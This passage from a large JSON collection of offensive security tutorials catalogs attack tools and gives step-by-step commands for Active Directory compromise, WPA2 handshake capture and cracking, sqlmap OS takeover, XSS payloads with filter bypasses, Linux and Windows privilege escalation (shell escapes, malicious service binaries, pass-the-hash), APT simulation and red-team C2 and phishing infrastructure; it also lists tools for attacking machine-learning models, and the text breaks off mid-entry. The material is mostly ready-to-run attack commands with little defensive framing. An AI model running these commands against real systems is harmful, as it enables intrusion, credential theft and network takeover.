                "Custom probe modules"
              ],
              "usage": {
                "basic": "zmap -p 80 1.0.0.0/8",
                "output": "zmap -p 443 -o results.csv 10.0.0.0/8",
                "bandwidth": "zmap -B 10M -p 22 192.168.0.0/16"
              }
            }
          }
        },
        "ai_security": {
          "description": "AI/ML security testing tools",
          "tools": {
            "adversarial_robustness_toolbox": {
              "name": "ART",
              "description": "Adversarial Robustness Toolbox",
              "when_to_use": [
                "Adversarial attack generation",
                "Model robustness testing",
                "Defense implementation",
                "ML security research"
              ],
              "attack_types": [
                "Evasion attacks",
                "Poisoning attacks",
                "Extraction attacks",
                "Inference attacks"
              ],
              "frameworks": [
                "TensorFlow",
                "Keras",
                "PyTorch",
                "Scikit-learn"
              ]
            },
            "cleverhans": {
              "name": "CleverHans",
              "description": "Library for adversarial examples",
              "when_to_use": [
                "Adversarial training",
                "Robustness evaluation",
                "Attack implementation",
                "Defense research"
              ],
              "attacks": [
                "FGSM",
                "PGD",
                "C&W",
                "DeepFool",
                "JSMA"
              ]
            },
            "foolbox": {
              "name": "Foolbox",
              "description": "Python library for adversarial attacks",
              "when_to_use": [
                "Model testing",
                "Robustness benchmarking",
                "Attack comparison",
                "Research"
              ],
              "features": [
                "Framework agnostic",
                "Gradient-based attacks",
                "Decision-based attacks",
                "Score-based attacks"
              ]
            },
            "ml_privacy_meter": {
              "name": "ML Privacy Meter",
              "description": "Privacy testing for ML models",
              "when_to_use": [
                "Membership inference attacks",
                "Privacy auditing",
                "Data leakage testing",
                "Model privacy assessment"
              ]
            }
          }
        },
        "specialized_tools": {
          "description": "Specialized and niche security tools",
          "tools": {
            "bloodhound": {
              "name": "BloodHound",
              "description": "Active Directory attack path mapping",
              "when_to_use": [
                "AD enumeration",
                "Attack path discovery",
                "Privilege escalation paths",
                "Domain compromise analysis"
              ],
              "components": {
                "sharphound": "Data collector",
                "bloodhound": "GUI for analysis",
                "neo4j": "Graph database"
              },
              "queries": [
                "Shortest path to DA",
                "Kerberoastable users",
                "AS-REP roastable users",
                "Unconstrained delegation"
              ]
            },
            "covenant": {
              "name": "Covenant",
              "description": ".NET C2 framework",
              "when_to_use": [
                "Red team operations",
                "Post-exploitation",
                "C2 infrastructure",
                "Windows targeting"
              ],
              "features": [
                "Web interface",
                "Collaborative",
                "Custom listeners",
                "Task automation",
                "Grunt management"
              ]
            },
            "cobalt_strike": {
              "name": "Cobalt Strike",
              "description": "Commercial penetration testing platform",
              "type": "Commercial",
              "when_to_use": [
                "Red team operations",
                "APT simulation",
                "Post-exploitation",
                "Team collaboration"
              ],
              "features": [
                "Beacon payload",
                "Malleable C2",
                "Process injection",
                "Lateral movement",
                "Reporting"
              ]
            },
            "impacket": {
              "name": "Impacket",
              "description": "Python network protocols library",
              "when_to_use": [
                "SMB/MSRPC interaction",
                "Windows authentication attacks",
                "Network protocol manipulation",
                "Kerberos attacks"
              ],
              "tools": [
                "psexec.py",
                "smbexec.py",
                "wmiexec.py",
                "GetNPUsers.py",
                "secretsdump.py",
                "ntlmrelayx.py"
              ]
            },
            "crackmapexec": {
              "name": "CrackMapExec",
              "description": "Network authentication testing",
              "when_to_use": [
                "Password spraying",
                "Credential validation",
                "Post-exploitation",
                "Network enumeration"
              ],
              "protocols": [
                "SMB",
                "WinRM",
                "MSSQL",
                "LDAP",
                "SSH"
              ],
              "usage": {
                "smb_auth": "cme smb target -u user -p pass",
                "pass_hash": "cme smb target -u user -H hash",
                "enum_shares": "cme smb target -u user -p pass --shares",
                "execute": "cme smb target -u user -p pass -x 'command'"
              }
            }
          }
        }
      },
      "tool_tutorials_scenarios.json": {
        "beginner_tutorials": {
          "basic_reconnaissance": {
            "objective": "Learn basic information gathering techniques",
            "tools_needed": [
              "nmap",
              "theharvester",
              "whois",
              "dig"
            ],
            "steps": [
              {
                "step": 1,
                "description": "Domain reconnaissance",
                "commands": [
                  "whois target.com",
                  "dig target.com ANY",
                  "host target.com"
                ],
                "explanation": "Gather basic domain information"
              },
              {
                "step": 2,
                "description": "Subdomain enumeration",
                "commands": [
                  "theharvester -d target.com -b google",
                  "dnsrecon -d target.com"
                ],
                "explanation": "Find subdomains and related hosts"
              },
              {
                "step": 3,
                "description": "Network scanning",
                "commands": [
                  "nmap -sn target.com/24",
                  "nmap -sV -sC target.com"
                ],
                "explanation": "Identify live hosts and services"
              }
            ]
          },
          "web_application_basics": {
            "objective": "Introduction to web application testing",
            "tools_needed": [
              "burpsuite",
              "dirb",
              "nikto"
            ],
            "steps": [
              {
                "step": 1,
                "description": "Setup proxy",
                "actions": [
                  "Configure browser proxy to 127.0.0.1:8080",
                  "Install Burp CA certificate",
                  "Enable intercept"
                ]
              },
              {
                "step": 2,
                "description": "Directory enumeration",
                "commands": [
                  "dirb http://target.com",
                  "gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt"
                ]
              },
              {
                "step": 3,
                "description": "Vulnerability scanning",
                "commands": [
                  "nikto -h http://target.com"
                ]
              }
            ]
          }
        },
        "intermediate_tutorials": {
          "active_directory_attack": {
            "objective": "Compromise Active Directory environment",
            "tools_needed": [
              "responder",
              "hashcat",
              "bloodhound",
              "mimikatz"
            ],
            "phases": {
              "enumeration": {
                "tools": [
                  "bloodhound",
                  "ldapdomaindump",
                  "enum4linux"
                ],
                "commands": [
                  "bloodhound-python -d domain.local -u user -p pass -c all",
                  "ldapdomaindump -u 'DOMAIN\\user' -p pass target"
                ]
              },
              "credential_harvesting": {
                "tools": [
                  "responder",
                  "mitm6",
                  "ntlmrelayx"
                ],
                "commands": [
                  "responder -I eth0 -wrf",
                  "mitm6 -d domain.local",
                  "ntlmrelayx.py -tf targets.txt -smb2support"
                ]
              },
              "exploitation": {
                "tools": [
                  "psexec",
                  "wmiexec",
                  "evil-winrm"
                ],
                "commands": [
                  "psexec.py domain/user:pass@target",
                  "wmiexec.py domain/user:pass@target",
                  "evil-winrm -i target -u user -p pass"
                ]
              },
              "persistence": {
                "techniques": [
                  "Golden ticket creation",
                  "Silver ticket creation",
                  "ACL modification",
                  "Scheduled task creation"
                ]
              }
            }
          },
          "wireless_network_compromise": {
            "objective": "Compromise WPA2 wireless network",
            "tools_needed": [
              "aircrack-ng",
              "hashcat",
              "bettercap"
            ],
            "steps": [
              {
                "step": 1,
                "description": "Enable monitor mode",
                "commands": [
                  "airmon-ng check kill",
                  "airmon-ng start wlan0"
                ]
              },
              {
                "step": 2,
                "description": "Capture handshake",
                "commands": [
                  "airodump-ng wlan0mon",
                  "airodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -w capture wlan0mon",
                  "aireplay-ng -0 10 -a XX:XX:XX:XX:XX:XX wlan0mon"
                ]
              },
              {
                "step": 3,
                "description": "Crack password",
                "commands": [
                  "aircrack-ng -w wordlist.txt capture.cap",
                  "hashcat -m 2500 capture.hccapx wordlist.txt"
                ]
              },
              {
                "step": 4,
                "description": "Post-compromise",
                "commands": [
                  "bettercap -iface wlan0",
                  "net.recon on",
                  "set arp.spoof.targets 192.168.1.0/24",
                  "arp.spoof on"
                ]
              }
            ]
          }
        },
        "advanced_tutorials": {
          "apt_simulation": {
            "objective": "Simulate Advanced Persistent Threat",
            "phases": {
              "initial_compromise": {
                "techniques": [
                  "Spear phishing with malicious attachment",
                  "Watering hole attack",
                  "Supply chain compromise",
                  "Zero-day exploitation"
                ],
                "tools": [
                  "metasploit",
                  "empire",
                  "cobalt_strike"
                ]
              },
              "establish_foothold": {
                "techniques": [
                  "Install persistent backdoor",
                  "Create service/scheduled task",
                  "Registry modification",
                  "WMI event subscription"
                ]
              },
              "escalate_privileges": {
                "techniques": [
                  "Kernel exploitation",
                  "Token manipulation",
                  "DLL hijacking",
                  "Unquoted service paths"
                ]
              },
              "internal_reconnaissance": {
                "techniques": [
                  "Network scanning",
                  "Active Directory enumeration",
                  "Credential harvesting",
                  "Data discovery"
                ]
              },
              "lateral_movement": {
                "techniques": [
                  "Pass-the-hash",
                  "Pass-the-ticket",
                  "Remote services",
                  "Tainted shared content"
                ]
              },
              "data_exfiltration": {
                "techniques": [
                  "DNS tunneling",
                  "HTTPS exfiltration",
                  "Steganography",
                  "Cloud storage"
                ]
              }
            }
          },
          "red_team_infrastructure": {
            "objective": "Build complete red team infrastructure",
            "components": {
              "redirectors": {
                "purpose": "Hide C2 infrastructure",
                "tools": [
                  "nginx",
                  "apache",
                  "socat"
                ],
                "types": [
                  "HTTP",
                  "HTTPS",
                  "DNS"
                ]
              },
              "c2_servers": {
                "frameworks": [
                  "cobalt_strike",
                  "empire",
                  "covenant",
                  "metasploit"
                ],
                "considerations": [
                  "Domain fronting",
                  "Malleable profiles",
                  "Encryption",
                  "Beaconing intervals"
                ]
              },
              "phishing_infrastructure": {
                "tools": [
                  "gophish",
                  "evilginx2",
                  "modlishka"
                ],
                "components": [
                  "Mail server",
                  "Landing pages",
                  "Credential harvester",
                  "Payload delivery"
                ]
              },
              "persistence": {
                "methods": [
                  "Domain registration",
                  "VPS providers",
                  "CDN services",
                  "Cloud services"
                ]
              }
            }
          }
        },
        "specialized_scenarios": {
          "iot_device_hacking": {
            "objective": "Compromise IoT device",
            "steps": [
              {
                "phase": "Reconnaissance",
                "actions": [
                  "Identify device model",
                  "Search for default credentials",
                  "Check for known vulnerabilities",
                  "Analyze network traffic"
                ]
              },
              {
                "phase": "Firmware analysis",
                "tools": [
                  "binwalk",
                  "firmwalker",
                  "qemu"
                ],
                "actions": [
                  "Extract firmware",
                  "Analyze file system",
                  "Search for hardcoded credentials",
                  "Identify binaries"
                ]
              },
              {
                "phase": "Exploitation",
                "techniques": [
                  "Command injection",
                  "Buffer overflow",
                  "Authentication bypass",
                  "Firmware modification"
                ]
              }
            ]
          },
          "mobile_app_pentesting": {
            "objective": "Security assessment of mobile application",
            "android": {
              "static_analysis": {
                "tools": [
                  "jadx",
                  "apktool",
                  "mobsf"
                ],
                "checks": [
                  "Hardcoded secrets",
                  "Insecure storage",
                  "Code obfuscation",
                  "Permission analysis"
                ]
              },
              "dynamic_analysis": {
                "tools": [
                  "frida",
                  "objection",
                  "burpsuite"
                ],
                "tests": [
                  "SSL pinning bypass",
                  "Root detection bypass",
                  "API testing",
                  "Runtime manipulation"
                ]
              }
            },
            "ios": {
              "requirements": [
                "Jailbroken device",
                "Xcode",
                "iOS SDK"
              ],
              "tools": [
                "frida",
                "objection",
                "needle",
                "cycript"
              ],
              "tests": [
                "Binary analysis",
                "Keychain dumping",
                "Runtime analysis",
                "Network traffic analysis"
              ]
            }
          },
          "cloud_penetration_testing": {
            "aws": {
              "tools": [
                "pacu",
                "scout_suite",
                "prowler"
              ],
              "methodology": [
                "Enumerate public resources",
                "Check S3 bucket permissions",
                "Review IAM policies",
                "Test Lambda functions",
                "Analyze CloudTrail logs"
              ]
            },
            "azure": {
              "tools": [
                "azucar",
                "scout_suite",
                "microburst"
              ],
              "targets": [
                "Storage accounts",
                "Key vaults",
                "Virtual machines",
                "Active Directory",
                "Function apps"
              ]
            },
            "gcp": {
              "tools": [
                "scout_suite",
                "gcp_scanner"
              ],
              "focus_areas": [
                "Cloud Storage buckets",
                "Compute instances",
                "IAM bindings",
                "Cloud Functions",
                "BigQuery datasets"
              ]
            }
          }
        }
      }
    },
    "tutorials": {
      "comprehensive_tutorials.json": {
        "metadata": {
          "collection_date": "2025-08-23T15:13:22.853225",
          "description": "Detailed tutorials and practical usage scenarios for security tools",
          "total_tutorials": 7,
          "difficulty_levels": [
            "beginner",
            "intermediate",
            "advanced",
            "expert"
          ]
        },
        "network_scanning_tutorials": {
          "nmap_mastery": {
            "title": "Complete Nmap Mastery Guide",
            "difficulty": "beginner_to_advanced",
            "estimated_time": "2-3 hours",
            "prerequisites": [
              "Basic networking knowledge",
              "Linux command line"
            ],
            "sections": {
              "basic_scanning": {
                "description": "Fundamental Nmap scanning techniques",
                "tutorials": [
                  {
                    "name": "Host Discovery",
                    "objective": "Find live hosts on a network",
                    "commands": [
                      {
                        "command": "nmap -sn 192.168.1.0/24",
                        "description": "Ping sweep to find live hosts",
                        "when_to_use": "Initial network reconnaissance"
                      },
                      {
                        "command": "nmap -sn -PS21,22,25,80,443 192.168.1.0/24",
                        "description": "TCP SYN ping on specific ports",
                        "when_to_use": "When ICMP is blocked"
                      },
                      {
                        "command": "nmap -sn -PA80,443 192.168.1.0/24",
                        "description": "TCP ACK ping",
                        "when_to_use": "Bypass stateless firewalls"
                      }
                    ],
                    "tips": [
                      "Use -sn for host discovery without port scanning",
                      "Combine multiple ping types for better results",
                      "Use --reason to understand why hosts are up/down"
                    ]
                  },
                  {
                    "name": "Port Scanning Techniques",
                    "objective": "Identify open ports and services",
                    "commands": [
                      {
                        "command": "nmap -sS target",
                        "description": "TCP SYN scan (stealth scan)",
                        "when_to_use": "Default choice for TCP scanning"
                      },
                      {
                        "command": "nmap -sT target",
                        "description": "TCP connect scan",
                        "when_to_use": "When you don't have raw packet privileges"
                      },
                      {
                        "command": "nmap -sU target",
                        "description": "UDP scan",
                        "when_to_use": "Find UDP services (DNS, SNMP, DHCP)"
                      },
                      {
                        "command": "nmap -sA target",
                        "description": "TCP ACK scan",
                        "when_to_use": "Map firewall rules"
                      }
                    ],
                    "advanced_options": [
                      "-p- : Scan all 65535 ports",
                      "-p 80,443,8080-8090 : Specific ports",
                      "--top-ports 1000 : Most common 1000 ports",
                      "-F : Fast scan (100 most common ports)"
                    ]
                  }
                ]
              },
              "service_detection": {
                "description": "Identifying services and versions",
                "tutorials": [
                  {
                    "name": "Version Detection",
                    "commands": [
                      {
                        "command": "nmap -sV target",
                        "description": "Basic version detection",
                        "options": [
                          "--version-intensity 9 : Most aggressive",
                          "--version-light : Faster, less accurate",
                          "--version-all : Try every probe"
                        ]
                      },
                      {
                        "command": "nmap -sC target",
                        "description": "Default script scan",
                        "info": "Runs safe, useful scripts"
                      },
                      {
                        "command": "nmap -A target",
                        "description": "Aggressive scan",
                        "includes": [
                          "OS detection",
                          "Version detection",
                          "Script scanning",
                          "Traceroute"
                        ]
                      }
                    ]
                  }
                ]
              },
              "nse_scripting": {
                "description": "Nmap Scripting Engine usage",
                "categories": [
                  "auth: Authentication related",
                  "broadcast: Network broadcast scripts",
                  "brute: Brute force attacks",
                  "default: Default safe scripts",
                  "discovery: Service discovery",
                  "dos: Denial of service",
                  "exploit: Exploitation scripts",
                  "fuzzer: Fuzzing scripts",
                  "intrusive: Likely to affect target",
                  "malware: Malware detection",
                  "safe: Safe to run",
                  "version: Version detection",
                  "vuln: Vulnerability detection"
                ],
                "examples": [
                  {
                    "command": "nmap --script vuln target",
                    "description": "Run all vulnerability scripts"
                  },
                  {
                    "command": "nmap --script 'http-*' target",
                    "description": "Run all HTTP scripts"
                  },
                  {
                    "command": "nmap --script smb-enum-shares,smb-enum-users target",
                    "description": "SMB enumeration"
                  },
                  {
                    "command": "nmap --script http-title,http-headers target",
                    "description": "Web server information"
                  }
                ]
              },
              "evasion_techniques": {
                "description": "Avoiding detection",
                "techniques": [
                  {
                    "name": "Timing and Performance",
                    "options": [
                      "-T0: Paranoid (5 min between probes)",
                      "-T1: Sneaky (15 sec between probes)",
                      "-T2: Polite (0.4 sec between probes)",
                      "-T3: Normal (default)",
                      "-T4: Aggressive",
                      "-T5: Insane"
                    ],
                    "custom_timing": [
                      "--scan-delay 5s : Wait 5 seconds between probes",
                      "--max-retries 3 : Limit probe retransmissions",
                      "--host-timeout 30m : Give up on host after 30 min"
                    ]
                  },
                  {
                    "name": "Fragmentation and Decoys",
                    "commands": [
                      {
                        "command": "nmap -f target",
                        "description": "Fragment packets"
                      },
                      {
                        "command": "nmap -D RND:10 target",
                        "description": "Use 10 random decoys"
                      },
                      {
                        "command": "nmap -S 192.168.1.100 -e eth0 target",
                        "description": "Spoof source address"
                      }
                    ]
                  }
                ]
              }
            }
          },
          "masscan_speed_scanning": {
            "title": "High-Speed Scanning with Masscan",
            "difficulty": "intermediate",
            "description": "Internet-scale port scanning",
            "tutorials": [
              {
                "name": "Basic Masscan Usage",
                "commands": [
                  {
                    "command": "masscan -p80,443 192.168.1.0/24 --rate=1000",
                    "description": "Scan web ports at 1000 packets/sec"
                  },
                  {
                    "command": "masscan -p0-65535 target --rate=100000",
                    "description": "Full port scan at high speed"
                  },
                  {
                    "command": "masscan -p80 0.0.0.0/0 --excludefile exclude.txt",
                    "description": "Internet-wide scan with exclusions"
                  }
                ],
                "output_formats": [
                  "-oX output.xml : XML output",
                  "-oJ output.json : JSON output",
                  "-oL output.list : Simple list format"
                ],
                "best_practices": [
                  "Start with low rates and increase gradually",
                  "Use exclusion lists for sensitive ranges",
                  "Monitor bandwidth usage",
                  "Combine with Nmap for detailed scanning"
                ]
              }
            ]
          }
        },
        "web_application_testing": {
          "burp_suite_complete": {
            "title": "Burp Suite Professional Techniques",
            "difficulty": "intermediate_to_advanced",
            "modules": {
              "proxy_configuration": {
                "description": "Setting up Burp proxy",
                "steps": [
                  {
                    "step": 1,
                    "action": "Configure browser proxy",
                    "details": [
                      "Set HTTP proxy to 127.0.0.1:8080",
                      "Install Burp CA certificate",
                      "Configure for HTTPS interception"
                    ]
                  },
                  {
                    "step": 2,
                    "action": "Configure scope",
                    "details": [
                      "Add target to scope",
                      "Set scope advanced options",
                      "Configure out-of-scope items"
                    ]
                  }
                ]
              },
              "scanner_configuration": {
                "description": "Automated scanning setup",
                "scan_types": [
                  {
                    "type": "Crawl and audit",
                    "when": "Complete application assessment",
                    "configuration": [
                      "Set crawl limits",
                      "Configure authentication",
                      "Select audit checks"
                    ]
                  },
                  {
                    "type": "Audit selected items",
                    "when": "Testing specific functionality",
                    "configuration": [
                      "Select from proxy history",
                      "Choose insertion points",
                      "Configure audit checks"
                    ]
                  }
                ]
              },
              "intruder_attacks": {
                "description": "Fuzzing with Intruder",
                "attack_types": [
                  {
                    "name": "Sniper",
                    "description": "Single payload position",
                    "use_case": "Testing individual parameters"
                  },
                  {
                    "name": "Battering ram",
                    "description": "Same payload in all positions",
                    "use_case": "Testing with same value everywhere"
                  },
                  {
                    "name": "Pitchfork",
                    "description": "Parallel payloads",
                    "use_case": "Testing username/password pairs"
                  },
                  {
                    "name": "Cluster bomb",
                    "description": "All combinations",
                    "use_case": "Testing all parameter combinations"
                  }
                ],
                "payload_types": [
                  "Simple list",
                  "Runtime file",
                  "Numbers",
                  "Dates",
                  "Brute forcer",
                  "Null payloads",
                  "Character substitution",
                  "Recursive grep",
                  "Extension-generated"
                ]
              },
              "advanced_techniques": {
                "session_handling": {
                  "description": "Managing complex sessions",
                  "rules": [
                    "Check session validity",
                    "Update session tokens",
                    "Handle CSRF tokens",
                    "Manage multi-step processes"
                  ]
                },
                "macro_recording": {
                  "description": "Automating multi-step processes",
                  "use_cases": [
                    "Login sequences",
                    "CSRF token refresh",
                    "Complex workflows",
                    "State management"
                  ]
                },
                "collaborator": {
                  "description": "Out-of-band testing",
                  "techniques": [
                    "Blind XSS detection",
                    "SSRF detection",
                    "XXE with OOB",
                    "DNS interaction testing"
                  ]
                }
              }
            }
          },
          "sqlmap_exploitation": {
            "title": "Advanced SQL Injection with SQLMap",
            "difficulty": "intermediate",
            "scenarios": {
              "basic_detection": {
                "description": "Finding SQL injection points",
                "commands": [
                  {
                    "command": "sqlmap -u 'http://target.com/page?id=1' --batch",
                    "description": "Automatic detection with default options"
                  },
                  {
                    "command": "sqlmap -r request.txt --batch",
                    "description": "Test from saved request"
                  },
                  {
                    "command": "sqlmap -u URL --data='user=admin&pass=admin' --method=POST",
                    "description": "POST parameter testing"
                  }
                ]
              },
              "database_enumeration": {
                "description": "Extracting database information",
                "progression": [
                  {
                    "step": "List databases",
                    "command": "sqlmap -u URL --dbs"
                  },
                  {
                    "step": "List tables",
                    "command": "sqlmap -u URL -D database --tables"
                  },
                  {
                    "step": "List columns",
                    "command": "sqlmap -u URL -D database -T table --columns"
                  },
                  {
                    "step": "Dump data",
                    "command": "sqlmap -u URL -D database -T table --dump"
                  }
                ]
              },
              "advanced_techniques": {
                "blind_injection": {
                  "description": "Time-based and boolean-based blind SQL injection",
                  "options": [
                    "--technique=B : Boolean-based blind",
                    "--technique=T : Time-based blind",
                    "--time-sec=5 : Time delay for time-based"
                  ]
                },
                "waf_bypass": {
                  "description": "Bypassing Web Application Firewalls",
                  "techniques": [
                    "--tamper=space2comment : Replace spaces with comments",
                    "--tamper=between : Replace > with BETWEEN",
                    "--tamper=randomcase : Random case",
                    "--random-agent : Random User-Agent"
                  ]
                },
                "os_takeover": {
                  "description": "Operating system command execution",
                  "commands": [
                    "--os-cmd='whoami' : Execute OS command",
                    "--os-shell : Interactive OS shell",
                    "--os-pwn : Prompt for OOB shell",
                    "--priv-esc : Database process privilege escalation"
                  ]
                }
              }
            }
          },
          "xss_exploitation": {
            "title": "Cross-Site Scripting Mastery",
            "difficulty": "intermediate",
            "types": {
              "reflected_xss": {
                "description": "Non-persistent XSS attacks",
                "payloads": [
                  {
                    "basic": "<script>alert(1)</script>",
                    "when": "No filtering"
                  },
                  {
                    "img_tag": "<img src=x onerror=alert(1)>",
                    "when": "Script tags blocked"
                  },
                  {
                    "event_handler": "<body onload=alert(1)>",
                    "when": "In HTML context"
                  }
                ],
                "advanced_payloads": [
                  "SVG-based: <svg onload=alert(1)>",
                  "Data URI: <object data='data:text/html,<script>alert(1)</script>'>",
                  "JavaScript URI: <a href='javascript:alert(1)'>Click</a>"
                ]
              },
              "stored_xss": {
                "description": "Persistent XSS attacks",
                "locations": [
                  "Comment sections",
                  "User profiles",
                  "Forum posts",
                  "Support tickets",
                  "File uploads"
                ],
                "persistence_techniques": [
                  "Polyglot payloads",
                  "Filter bypass chains",
                  "Encoding variations",
                  "Browser-specific payloads"
                ]
              },
              "dom_xss": {
                "description": "DOM-based XSS",
                "sources": [
                  "location.search",
                  "location.hash",
                  "document.referrer",
                  "document.cookie",
                  "window.name"
                ],
                "sinks": [
                  "innerHTML",
                  "document.write",
                  "eval()",
                  "setTimeout/setInterval",
                  "location.href"
                ]
              },
              "filter_bypass": {
                "description": "Bypassing XSS filters",
                "techniques": [
                  {
                    "name": "Encoding",
                    "examples": [
                      "HTML: &#x3C;script&#x3E;",
                      "URL: %3Cscript%3E",
                      "Unicode: \\u003cscript\\u003e",
                      "Base64: PHNjcmlwdD4="
                    ]
                  },
                  {
                    "name": "Case variations",
                    "examples": [
                      "<ScRiPt>alert(1)</ScRiPt>",
                      "<SCRIPT>alert(1)</SCRIPT>"
                    ]
                  },
                  {
                    "name": "Tag breaking",
                    "examples": [
                      "<scr<script>ipt>alert(1)</scr</script>ipt>",
                      "<<script>script>alert(1)<</script>/script>"
                    ]
                  }
                ]
              }
            }
          }
        },
        "privilege_escalation": {
          "linux_privesc": {
            "title": "Linux Privilege Escalation Techniques",
            "difficulty": "intermediate_to_advanced",
            "enumeration": {
              "manual_enumeration": {
                "description": "Manual system enumeration",
                "commands": [
                  {
                    "category": "System Information",
                    "commands": [
                      "uname -a",
                      "cat /etc/issue",
                      "cat /proc/version",
                      "hostname",
                      "lscpu"
                    ]
                  },
                  {
                    "category": "User Information",
                    "commands": [
                      "whoami",
                      "id",
                      "sudo -l",
                      "cat /etc/passwd",
                      "cat /etc/group",
                      "history"
                    ]
                  },
                  {
                    "category": "Network Information",
                    "commands": [
                      "ifconfig",
                      "ip a",
                      "netstat -tulpn",
                      "ss -tulpn",
                      "cat /etc/hosts"
                    ]
                  },
                  {
                    "category": "Process Information",
                    "commands": [
                      "ps aux",
                      "ps -ef",
                      "top",
                      "cat /proc/*/cmdline"
                    ]
                  }
                ]
              },
              "automated_tools": {
                "description": "Automated enumeration scripts",
                "tools": [
                  {
                    "name": "LinPEAS",
                    "download": "curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh",
                    "usage": "bash linpeas.sh",
                    "features": [
                      "Color-coded output",
                      "Comprehensive checks",
                      "CVE suggestions"
                    ]
                  },
                  {
                    "name": "LinEnum",
                    "usage": "bash linenum.sh -t",
                    "features": [
                      "Thorough enumeration",
                      "Report generation"
                    ]
                  },
                  {
                    "name": "Linux Exploit Suggester",
                    "usage": "bash linux-exploit-suggester.sh",
                    "features": [
                      "Kernel exploit suggestions",
                      "CVE matching"
                    ]
                  }
                ]
              }
            },
            "exploitation_techniques": {
              "sudo_misconfigurations": {
                "description": "Exploiting sudo permissions",
                "techniques": [
                  {
                    "name": "sudo -l exploitation",
                    "examples": [
                      "sudo vim -c ':!/bin/bash'",
                      "sudo less /etc/passwd then !bash",
                      "sudo find . -exec /bin/bash \\;",
                      "sudo nmap --interactive then !sh"
                    ]
                  },
                  {
                    "name": "LD_PRELOAD",
                    "condition": "env_keep+=LD_PRELOAD",
                    "exploit": "Create malicious shared library"
                  }
                ]
              },
              "suid_binaries": {
                "description": "Exploiting SUID binaries",
                "discovery": "find / -perm -u=s -type f 2>/dev/null",
                "exploitation": [
                  {
                    "binary": "find",
                    "command": "find . -exec /bin/sh -p \\;"
                  },
                  {
                    "binary": "vim",
                    "command": "vim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'"
                  },
                  {
                    "binary": "bash",
                    "command": "bash -p"
                  }
                ]
              },
              "capabilities": {
                "description": "Exploiting Linux capabilities",
                "discovery": "getcap -r / 2>/dev/null",
                "exploitation": [
                  {
                    "capability": "cap_setuid",
                    "exploit": "Python script to setuid(0)"
                  },
                  {
                    "capability": "cap_dac_read_search",
                    "exploit": "Read any file on system"
                  }
                ]
              },
              "kernel_exploits": {
                "description": "Kernel vulnerability exploitation",
                "common_exploits": [
                  {
                    "name": "DirtyCOW",
                    "versions": "Linux Kernel 2.6.22 < 3.9",
                    "cve": "CVE-2016-5195"
                  },
                  {
                    "name": "DirtyPipe",
                    "versions": "Linux Kernel 5.8 - 5.16.11",
                    "cve": "CVE-2022-0847"
                  }
                ]
              }
            }
          },
          "windows_privesc": {
            "title": "Windows Privilege Escalation Mastery",
            "difficulty": "intermediate_to_advanced",
            "enumeration": {
              "system_enumeration": {
                "commands": [
                  "systeminfo",
                  "hostname",
                  "whoami /all",
                  "net users",
                  "net localgroup administrators",
                  "netstat -ano",
                  "schtasks /query /fo LIST /v",
                  "wmic qfe get Caption,Description,HotFixID,InstalledOn"
                ]
              },
              "automated_tools": [
                {
                  "name": "WinPEAS",
                  "usage": "winpeas.exe",
                  "features": [
                    "Color output",
                    "Comprehensive checks",
                    "Suggested exploits"
                  ]
                },
                {
                  "name": "PowerUp",
                  "usage": "powershell -ep bypass -c \". .\\PowerUp.ps1; Invoke-AllChecks\"",
                  "features": [
                    "Service misconfigurations",
                    "Registry checks",
                    "Scheduled tasks"
                  ]
                },
                {
                  "name": "Seatbelt",
                  "usage": "Seatbelt.exe -group=all",
                  "features": [
                    "Defensive checks",
                    "Credential hunting",
                    "System information"
                  ]
                }
              ]
            },
            "exploitation_techniques": {
              "service_exploits": {
                "unquoted_paths": {
                  "description": "Unquoted service path exploitation",
                  "discovery": "wmic service get name,displayname,pathname,startmode | findstr /i \"auto\" | findstr /i /v \"c:\\windows\\\" | findstr /i /v \"\"\"",
                  "exploitation": "Place malicious executable in path"
                },
                "weak_permissions": {
                  "description": "Weak service permissions",
                  "discovery": "accesschk.exe -uwcqv \"Everyone\" *",
                  "exploitation": "sc config [service] binpath= \"C:\\temp\\reverse.exe\""
                },
                "dll_hijacking": {
                  "description": "DLL hijacking in services",
                  "discovery": "Process Monitor to find missing DLLs",
                  "exploitation": "Place malicious DLL in search path"
                }
              },
              "registry_exploits": {
                "autorun": {
                  "description": "Autorun registry exploitation",
                  "locations": [
                    "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
                    "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
                  ]
                },
                "alwaysinstallelevated": {
                  "description": "AlwaysInstallElevated exploitation",
                  "check": "reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated",
                  "exploit": "msiexec /quiet /qn /i malicious.msi"
                }
              },
              "token_manipulation": {
                "techniques": [
                  {
                    "name": "Token Impersonation",
                    "tools": [
                      "Incognito",
                      "Metasploit"
                    ],
                    "commands": [
                      "list_tokens -u",
                      "impersonate_token DOMAIN\\\\User"
                    ]
                  },
                  {
                    "name": "Pass the Hash",
                    "tools": [
                      "mimikatz",
                      "psexec"
                    ],
                    "usage": "sekurlsa::pth /user:admin /domain:target /ntlm:hash"
                  }
                ]
              }
            }
          }
        },
        "wireless_hacking": {
          "wifi_complete_guide": {
            "title": "Complete WiFi Hacking Guide",
            "difficulty": "intermediate",
            "wep_cracking": {
              "description": "Breaking WEP encryption",
              "steps": [
                {
                  "step": 1,
                  "action": "Start monitor mode",
                  "command": "airmon-ng start wlan0"
                },
                {
                  "step": 2,
                  "action": "Capture IVs",
                  "command": "airodump-ng -c [channel] --bssid [bssid] -w capture wlan0mon"
                },
                {
                  "step": 3,
                  "action": "Generate traffic",
                  "command": "aireplay-ng -3 -b [bssid] -h [client_mac] wlan0mon"
                },
                {
                  "step": 4,
                  "action": "Crack key",
                  "command": "aircrack-ng -b [bssid] capture*.cap"
                }
              ]
            },
            "wpa_wpa2_cracking": {
              "description": "Breaking WPA/WPA2 encryption",
              "methods": {
                "handshake_capture": {
                  "steps": [
                    {
                      "step": 1,
                      "action": "Monitor target network",
                      "command": "airodump-ng -c [channel] --bssid [bssid] -w capture wlan0mon"
                    },
                    {
                      "step": 2,
                      "action": "Deauthenticate client",
                      "command": "aireplay-ng -0 10 -a [bssid] -c [client] wlan0mon"
                    },
                    {
                      "step": 3,
                      "action": "Crack with wordlist",
                      "command": "aircrack-ng -w wordlist.txt -b [bssid] capture*.cap"
                    },
                    {
                      "step": 4,
                      "action": "GPU cracking",
